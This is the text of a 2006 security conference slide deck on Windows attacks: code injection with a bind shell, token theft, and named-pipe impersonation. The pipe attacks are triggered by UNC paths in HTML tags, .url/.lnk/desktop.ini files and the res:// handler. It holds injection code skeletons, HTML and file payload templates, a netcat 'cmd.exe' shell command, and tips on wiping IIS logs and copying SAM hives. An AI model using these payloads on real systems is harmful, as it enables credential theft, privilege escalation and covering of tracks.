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Agenda

• Introduction

• Interactive sessions – Code injection

• Non Interactive sessions – managing tokens

• Exploiting design flaws – UNC Paths
– HTML restriction bypass (arbitrary content load)
– Forcing remote connections
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Interactive sessions – pentest common tasks
•Users enumeration creation

•Valid logon session is needed

•Ciphered password extraction (pwdump like)
•You should need admin$ share
•Lsass.exe is used by many pwdumps
•Syskey could cipher your SAM database

•Extract passwords from memory – Fidp.exe
•sec-policies can remove cached creds

•Steal interactive sessions (from TS or VNC like tools)
•Screensaver dependency

Technique I: Code inyection for stealing credentials
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Interactive sessions

Void MyCode(void *stuff) {

LoadLibrary(“ws2_32.dll”);

..
// BindShell code

}

MyCode()

Own code

Own code

explorer

Void main() {
..
VirtualAllocEx( hProcess, 0, size, MEM_COMMIT, ...);
WriteProcessMemory(hProcess,p,&mycode)
CreateRemoteThread(hProcess,..,p,..);
..

PROBLEM?

Invalid memory references

Data still remains at inject.exe

Segfault before calling first LoadLibrary
}
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Interactive sessions

typedef struct _parametros{
HANDLE WSAHandle;
char wsastring[20];  //Ws2_32.dll
HANDLE KernelHandle;
char kernelstring[20]; //kernel32.dll

WSASTARTUP ShellWsaStartup;
char wsastartupstring[20];

WSASOCKET ShellWSASocket;
char WSASocketString[20]; 

…

Void MyCode(void *stuff) {
LoadLibrary(stuff->wsastring);
// BindShell

}

Explorer

Stuff

Mycode()

Owncode

owncode

VirtualAllocEx()

VirtualAllocEx()

WriteProcessMemory
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Interactive sessions

Data initialization (fill all dinamic references)
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Interactive sessions

Dinamic BindShell Code
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Interactive sessions

Dinamic BindShell CodeExplorer

stuff

Mycode()

Owncode

owncode

New Thread
Cmd Shell

(as User)

System Shell Inject.exe
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Interactive sessions

Inyector DEMO

D:\NcN2006\Process Injector>inject.exe
Privilege Switcher for Win32 
(c) 2006 Andres Tarasco - atarasco@gmail.com

Usage:
inject.exe -l                    (Enumerate Credentials)
inject.exe -p <pid> <cmd> <port> (Inject into PID)
inject.exe -t <tid> <cmd> <port> (Inject into Thread)
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Interactive sessions

Real Impact?

CreateRemoteThread() is a feature

Just useful for pen-test
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[Non] Interactive sessions

•There are no process where code can be inyected
•Users have been authenticated over the network.
•We would like to exploit the domain Administrator creds
•What can we do ?

•Search Winlogon.exe/ lsass.exe for user tokens =)
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[Non] Interactive sessions

•How to deal with Tokens?
•NTDLL.DLL! NtQuerySystemInformation
Enumerate objects

•NTDLL.DLL! NtQueryObject
Identify Token handles

•NTDLL.DLL!GetTokenInformation & LookupAccountSid
Extract owner information

•CreateProcessAsUser()
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[Non] Interactive sessions
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[Non] Interactive sessions
•Wich kind of access should i get?

•Depends of the impersonation level
•Anonymous
•Identify
•Impersonate
•Delegate (EFS)

MSDN documentation
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[Non] Interactive sessions

Just a bit more about Ntdll.dll!NtQuerySystemInformation.

What can we also use this function for:

-Duplicate handles used for accesing log files

WIPE IIS logfiles without killing the process

-Copy locked files

Backup your SAM/SYSTEM/SOFTWARE Hives “on the fly”

-Killing multiple objects (Like Handles/threads/sockets/..)
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[Non] Interactive sessions

Token Thieffer DEMO

D:\NcN2006\TokenExecution>Tthieffer.exe /?
Token Thieffer for Windows (c) 2006
Author: Andres Tarasco ( atarasco @ sia . es )
URL: http://www.514.es

Usage:
TThieffer.exe -a           (Show all duplicable tokens)

-e "command" (changes default command)
-?           (Shows this help)
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[Non] Interactive sessions

Real Impact?

This is just a feature, But…

Access an untrusted computer = owned!
(maybe)

ASPNET ACCOUNT - IIS Privilege scalation

Network Hacking becomes more interesting
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Exploiting Namedpipes Under Network
infraestructure

•Namedpipes – Used for Inteprocess Comunications

•Different Namedpipe exploit techniques

•Obtain domain administrator privileges (MSSQL)

•Exploit local predictable namedpipes (telnet)

•Connecting to faked namedpipe services (runas,…)

•How about trying to force remote users to connect to our pipes?

local

remote
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Exploiting Namedpipes Under Network
infraestructure

Client Computer Evil pipe server

Trusted Network Resource

request

Content response
Malicious content

Request Linked content

Loading malicious content allow us to force network connections

HOW?
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Bypassing IE Enhanced security

•IE enhanced security impersonalize tokens before loading content

<HTML>
<img src="file://\\\\192.168.10.10\\pipe\\exploit"  border=0></img>

</HTML>

[+] Creating Named Pipe: \\.\pipe\exploit
[+] Waiting for connections to resource...
[+] Impersonating User
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRS
TUVWXYZ{|}~¦ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖèøîØÄƒáíóúñÑªºÓ³?.

<body background="file:///\\192.168.10.10\pipe\exploit">
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Bypassing IE Enhanced security

•<Img src= does not work

•<a HREF= does not work

•parame name=“” does not work

•…..

Problem is with
file:// handler

OOOOPSS!!!Microsoft forgot to secure other handlers like res://

<HTML>
<img src=“res://\\\\127.0.0.1\\pipe\\exploit"  border=0></img>

</HTML>

[+] Creating Named Pipe: \\.\pipe\exploit
[+] Waiting for incoming connections against \\.\pipe\0day
[+] Impersonating User admin...
[+] Impersonating User MYDOMAIN\Admin
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Bypassing IE Enhanced security

Wich other code can also be used to bypass restrictions?

•Res:// protocol handler
•Document.location.href

<SCRIPT LANGUAGE="Javascript"> 
document.location.href= "file:///\\\\127.0.0.1\\pipe\\exploit";

</SCRIPT>
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Bypassing IE Enhanced security

Wich other code can also be used to bypass restrictions?

•Res:// protocol handler
•Document.location.href
•HTML Frame Tag

<frameset rows=0%,100%>
<frame src="file://\\127.0.0.1\pipe\exploit">
<frame src="http://www.514.es">
</frameset>
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Bypassing IE Enhanced security

Wich other code can also be used to bypass restrictions?

•Res:// protocol handler
•Document.location.href
•HTML Frame Tag
•Unfiltered LINK REL parameter

"Links specified by LINK are not rendered with the document's contents, 
although user agents may render them in other ways“

<LINK REL="stylesheet" 
HREF="file:///\\127.0.0.1\pipe\exploit" type="text/css">

Techniques can also be combined

<LINK REL="stylesheet" 
HREF="res:///\\127.0.0.1\pipe\exploit" type="text/css">
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Bypassing IE Enhanced security
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Exploiting Namedpipes Under Network
infraestructure

Abusing explorer features (lnk content preview)

LNK file with UNC path as icon parameter
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Exploiting Namedpipes Under Network
infraestructure

Abusing explorer features (url content preview)

URL file with UNC path as icon parameter

[DEFAULT]
BASEURL=http://www.514.es
[InternetShortcut]
URL=http://www.514.es
Modified=203BF2701D7FC60120
IconIndex=3
IconFile=\\127.0.0.1\pipe\malicious
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Exploiting Namedpipes Under Network
infraestructure

[.ShellClassInfo]
InfoTip=Proof_Of_Concept_Exploit1
LocalizedResourceName=@\\192.168.1.1\pipe\0day,-1
IconIndex=-666
ConfirmFileOp=0

Desktop.ini file

Abusing explorer features (desktop.ini content preview)

[.ShellClassInfo]
IconFile=@\\192.168.1.1\pipe\0day
IconIndex=-666

[.ShellClassInfo]
InfoTip=@\\192.168.1.1\pipe\0day
IconIndex=-666

[LocalizedFileNames]
desktop.ini=@\\192.168.1.1\pipe\0day,-1
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Exploiting Namedpipes Under Network
infraestructure

•Place those files over network shares
•Force connections on Heavily used Fileservers
•USB bomb (nice plug&play features)
•Steal Domain Administrator accounts

•Other usages?
•Increase servers load (DDOS)
•Client side vulnerabilities contacting to malicious servers?

Abusing explorer features (desktop.ini content preview)
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Bypassing IE Enhanced security

Real Impact?
1. Connect to resources just reading an email/browsing

• Impersonate User from pipe/Token

• Dump NTLM Credentials (sniffer)

• NTLM REPLAY ATTACKS

2. XSS over the network is dangerous

• Your intranet maybe isnt as safe as you think

3. Embbedded content on office documents

• Tracking content with LINK REL
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Interactive sessions

Namedpipes.exe DEMO

Impersonation attack Proof of concept Exploit
Author: Andres Tarasco ( atarasco @ sia . es )
URL: http://www.514.es

Usage: 1st is recomended to execute a shell with NT AUTHORITY\SYSTEM
privileges.  Example: psexec.exe -i -s -c namedpipe.exe [parameters]

Parameters:
-e <command>   Application to execute, default is "nc.exe -l -p 51477 –e cmd.exe"
-f <destination>  Path to store payload like d:\sharedfolder. default is .\
-h <host>            IP or hostname of this computer. default is 127.0.0.1
-n <namedpipe> Named of the pipe. Default is "0day"
-t <type>             0(ini) | 1(url) | 2(lnk) | 3(html) | 4(pps)
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Exploiting Namedpipes Under Network
infraestructure

What does Microsoft say? 
TokenThiffer -> Feature. You are Administrator No Fix

Namedpipes -> Can be restricted with policies No Fix

USB Bomb -> breaks law #3 No Fix

UNC Paths under desktop.ini files -> No Fix

UNC paths under lnk/url files -> No Fix

IE html code (like LINK REL res://) -> No Fix

HTML code over office/outlook -> No Fix

a+b+c+d+… Real Impact?
Who cares…
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¿Pregunta
s?
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THE END

http://www.
514.es
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